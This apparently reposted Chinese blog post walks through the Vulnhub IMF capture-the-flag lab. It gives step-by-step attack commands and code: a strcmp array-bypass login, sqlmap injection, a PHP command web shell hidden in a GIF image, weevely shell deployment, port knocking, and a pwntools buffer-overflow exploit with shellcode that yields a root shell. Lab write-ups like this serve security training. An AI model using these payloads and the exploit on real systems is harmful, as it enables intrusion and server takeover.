【渗透测试】Vulnhub靶场之IMF

admin 2025年6月26日01:18:09评论0 views字数 5674阅读18分54秒阅读模式
【渗透测试】Vulnhub靶场之IMF

【渗透测试】Vulnhub靶场之IMF

【渗透测试】Vulnhub靶场之IMF

0x01 信息收集

作者:G4br1el,微信号:G4br1elsec

flag1

浏览器访问链接:http://x.x.x.x

【渗透测试】Vulnhub靶场之IMF

通过检查网页源代码,发现联系我们的页面中(contact.php)一处flag

【渗透测试】Vulnhub靶场之IMF

 flag1{YWxsdGhlZmlsZXM=}
 
 //YWxsdGhlZmlsZXM=是个base64编码,解码得allthefiles

flag2

然后继续查看源代码,发现js引用处有明显的base编码(常打CTF都知道,Zmxh开头的很容易联想到flag的base编码)

【渗透测试】Vulnhub靶场之IMF

把三个都base64解密,得

 flag2{aW1mYWRtaW5pc3RyYXRvcg==}
 解码得:imfadministrator

【渗透测试】Vulnhub靶场之IMF

备注:记住上面的信息收集每一条都是有用的,上面解出来的东西都是比较规律的,有可能是目录之类的。

0x02 web渗透

flag3

通过上面得到的字符串,依次尝试使用字符串当做目录

【渗透测试】Vulnhub靶场之IMF

发现imfadministrator/可以访问,尝试使用弱口令admin/admin,显示是个无效的用户名。

【渗透测试】Vulnhub靶场之IMF

返回主页寻找信息,发现联系我们页面有三个联系人的email,可以尝试使用邮箱的用户名进行登陆。

【渗透测试】Vulnhub靶场之IMF

使用rmichaels用户名登陆,随便输入密码显示无效的密码,说明这个用户是存在的。

【渗透测试】Vulnhub靶场之IMF

查看源代码,发现有个注释

 <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->

【渗透测试】Vulnhub靶场之IMF

通过英文的翻译,大概意思就是不用数据库,是写死在php文件中,可能是用stcmp之内函数去判断密码。当strcmp的两个字符串参数相等的时候返回结果为0,string类型和array类型相比较,也是返回0。我们可以用CTF中数组绕过方法,修改源代码

 <input type="password" name="pass" value="">
 修改成
 <input type="password" name="pass[]" value="">

修改好后使用rmichaels用户登陆,密码不填写,提交得到flag3

 flag3{Y29udGludWVUT2Ntcw==}
 解码得
 continueTOcms

【渗透测试】Vulnhub靶场之IMF

flag4

根据提示进入CMS,浏览页面,发现它的url都是通过各个参数进行访问:cms.php?pagename=home

【渗透测试】Vulnhub靶场之IMF

看到类似index.php?id=1这种格式,可以先尝试一波sql注入,可以抓包到本地使用sqlmap,也可以使用--cookie参数形式,这里是用burp抓包,把响应头保存在桌面,进行本地注入,把数据库dump下来

【渗透测试】Vulnhub靶场之IMF

 sqlmap -r /root/桌面/1.txt --risk=3 --level=5 --dbs --dump
 
 --risk=3代表执行测试风险等级为3,--level=5执行测试等级为5,这个自行测试

dump下来后发现有个img标签的源码,我们去访问一下这个jpg图片:http://x.x.x.x/imfadministrator/images/whiteboard.jpg

【渗透测试】Vulnhub靶场之IMF

访问后发现图片里有一个二维码,解码得flag4

【渗透测试】Vulnhub靶场之IMF

 flag4{dXBsb2Fkcjk0Mi5waHA=}
 解码得
 uploadr942.php

flag5

通过flag4可以得到一个php页面。访问它:http://x.x.x.x/imfadministrator/uploadr942.php,得到一个文件上传页面。

【渗透测试】Vulnhub靶场之IMF

我们使用PHP一句话进行上传,通过不断测试,发现存在WAF和文件头检测,尝试使用修改Content-Type:image/jpeg,文件头加上GIF89a也是无效。

【渗透测试】Vulnhub靶场之IMF

所以采用另外一个方法,制作一个图片马。

php中文件写入

  <?php $s=$_GET['topsec']; echo `$s`; ?>
  //此时需要注意最前面加一个空格,要不然生成图片马的时候会覆盖掉导致乱码

然后使用windows的copy命令生成一个图片码,然后上传进去

 copy /b anhunsec.jpg+xxh.php topsec.jpg

此时显示上传成功,并且里面有个注释,可能是上传后的文件重命名:

 <!-- 9406685607a2 -->

【渗透测试】Vulnhub靶场之IMF

此时我们不知道图片上传到哪里了,可以猜测是在imfadministrator目录下的哪个文件夹中,我们可以进行目录扫描。

【渗透测试】Vulnhub靶场之IMF

发现有个uploads目录,我们进行拼接访问图片

 http://x.x.x.x/imfadministrator/uploads/9406685607a2.jpg

发现访问成功。但是经过测试发现jpg执行不了shell,只有gif可以执行shell命令,所以需要重新上传一个GIF图片马,再次执行以上步骤上传,然后访问GIF图片地址。根据编写的shell执行命令:

 http://x.x.x.x/imfadministrator/uploads/b526a44e5ba8.gif?topsec=ls

【渗透测试】Vulnhub靶场之IMF

发现有个flag5_abc123def.txt文件,访问文件后得到flag5

 http://x.x.x.x/imfadministrator/uploads/b526a44e5ba8.gif?topsec=cat flag5_abc123def.txt
 flag5{YWdlbnRzZXJ2aWNlcw==}
 解码得
 agentservices

0x03 堆栈溢出攻击

因为上面的是一句话图片马很不方便,所以重新上传一个webshell。本来是想着使用kali自带的php-reverse-shell.php,但是被WAF检测到fsockopen函数,只能另想办法。

【渗透测试】Vulnhub靶场之IMF

网上查资料后发现一个webshell生成工具weevely。

 weevely generate topsec shell.php
 //topsec是密码

【渗透测试】Vulnhub靶场之IMF

生成后打开,前面加个GIF防止检测,并且把shell后缀改成.gif,然后进行上面flag5的步骤上传shell,然后命令行连接shell

 weevely http://x.x.x.x/imfadministrator/uploads/b29749c59df8.gif topsec

【渗透测试】Vulnhub靶场之IMF

连接成功!flag5中叫我们留意agentservices服务

我们去查看一下本地开启了哪些服务

使用netstat -ant命令查看,发现有个7788端口的未知服务,可能是agent吧

【渗透测试】Vulnhub靶场之IMF

我们查看agent服务安装位置

 whereis agent

【渗透测试】Vulnhub靶场之IMF

进入目录/usr/local/bin,发现有两个文件,我们cat一下access_codes,发现有个SYN 7482,8279,9467

【渗透测试】Vulnhub靶场之IMF

看起来像是运行了knock进程。需要敲开

 关于knock进程:knock是一个端口敲服务器。它侦听以太网(或PPP)接口上的所有流量,寻找端口命中的特殊“敲门”序列。客户端通过将TCP(或UDP)数据包发送到服务器上的端口来进行这些端口命中。这个端口不需要打开-因为knockd在链路层级别监听,它会查看所有流量,即使它的目的地是封闭端口。当服务器检测到特定的端口命中序列时,它会运行在其配置文件中定义的命令。这可用于在防火墙中打开孔以便快速访问。
 git clone https://github.com/grongor/knock.git
 //或者终端直接输入knock回车,如果没安装它会提示你是否安装,选择Y回车就会自动安装
 knock x.x.x.x 7482 8279 9467 //敲开三个端口

扫描一下端口,发现已经出现了7788端口

【渗透测试】Vulnhub靶场之IMF

使用nc监听agent服务,随便输入ID会使程序退出

【渗透测试】Vulnhub靶场之IMF

获得agent的id方法有两种,一个是Meterperterdownload下来在本地做测试;一个是shell里运行ltraceagent

使用file_download下载到本地进行调试

 file_download /usr/local/bin/agent /root/agent

使用ltrace ./agent跟踪进程调用库函数

【渗透测试】Vulnhub靶场之IMF

从图中可以发现在fget函数需要输入随机的数字回车,每一次的输入都会出现strncmp("输入的数字n", "48093572", 8)这行代码,大概意思就是我们输入的数字和48093572进行对比,不正确返回到Invalid Agent ID。

然后运行./agent,输入正确的id:480935732

【渗透测试】Vulnhub靶场之IMF

就会出现menu菜单。我们使用edb对程序进行测试

运行以下代码来获取1024个测试字符

 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024

【渗透测试】Vulnhub靶场之IMF

 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B

终端输入:edb --run agent运行调试,点击软件界面上方的运行按钮两次,终端那边运行到Agent ID时输入正确的ID:48093572,然后选择3 submit Report测试,然后输入上方生成的测试字符,回车

【渗透测试】Vulnhub靶场之IMF

找到溢出地址:0x41366641,反查栈偏移:

 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641

【渗透测试】Vulnhub靶场之IMF

 栈偏移 = EBP地址 - 当前输入地址 + EBP字长
 = 0xd188 - 0xd0e4 + 4 = 168

程序在168字符处存在溢出

找到栈偏移之后,我们需要将 return 地址修改为 shellcode 地址,这里可以使用 ROPgadget 寻找包含 call eax 的代码段

 ROPgadget --binary agent | grep "call eax"

【渗透测试】Vulnhub靶场之IMF

找到 call eax 地址为 0x8048563

flag6

找到地址后通过 asm 构造 shellcode 内容,这里需要安装pwntools

 pip3 install pwntools

构造exp直接getshell,新建1.exp,放入以下代码。然后运行

 #coding=utf-8
 from pwn import *
 io = remote("x.x.x.x", 7788)
 shellcode = asm(shellcraft.sh())
 shell_addr = 0x8048563
 io.recvuntil(b"Agent ID : ")
 io.send(b"48093572n")
 io.recvuntil(b"Enter selection: ")
 io.send(b"3n")
 io.recv()
 io.sendline(shellcode + b"A" * (168 - len(shellcode)) + p32(shell_addr))
 io.interactive()

【渗透测试】Vulnhub靶场之IMF

【渗透测试】Vulnhub靶场之IMF

在root文件夹下存在Flag.txt,cat一下获取flag6

 flag6{R2gwc3RQcm90MGMwbHM=}

成功拿到root权限

PDF下载地址

提供文章PDF下载地址,或者点击最下方的原文链接下载

https://g4blog.oss-cn-shenzhen.aliyuncs.com/usr/uploads/2022/03/3532789872.pdf
【渗透测试】Vulnhub靶场之IMF
【渗透测试】Vulnhub靶场之IMF

【社区精选】渗透攻击红队内网域渗透靶场2.0-writeup

【漏洞复现】通过恶意PDF执行XSS漏洞

【红蓝攻防】ATT&CK红队评估实战靶场4

【红蓝攻防】ATT&CK红队评估实战靶场1

【渗透测试】Vulnhub靶场之IMF
【渗透测试】Vulnhub靶场之IMF
微信搜一搜
【渗透测试】Vulnhub靶场之IMF
暗魂攻防实验室

原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Vulnhub靶场之IMF

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月26日01:18:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】Vulnhub靶场之IMFhttps://cn-sec.com/archives/814015.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息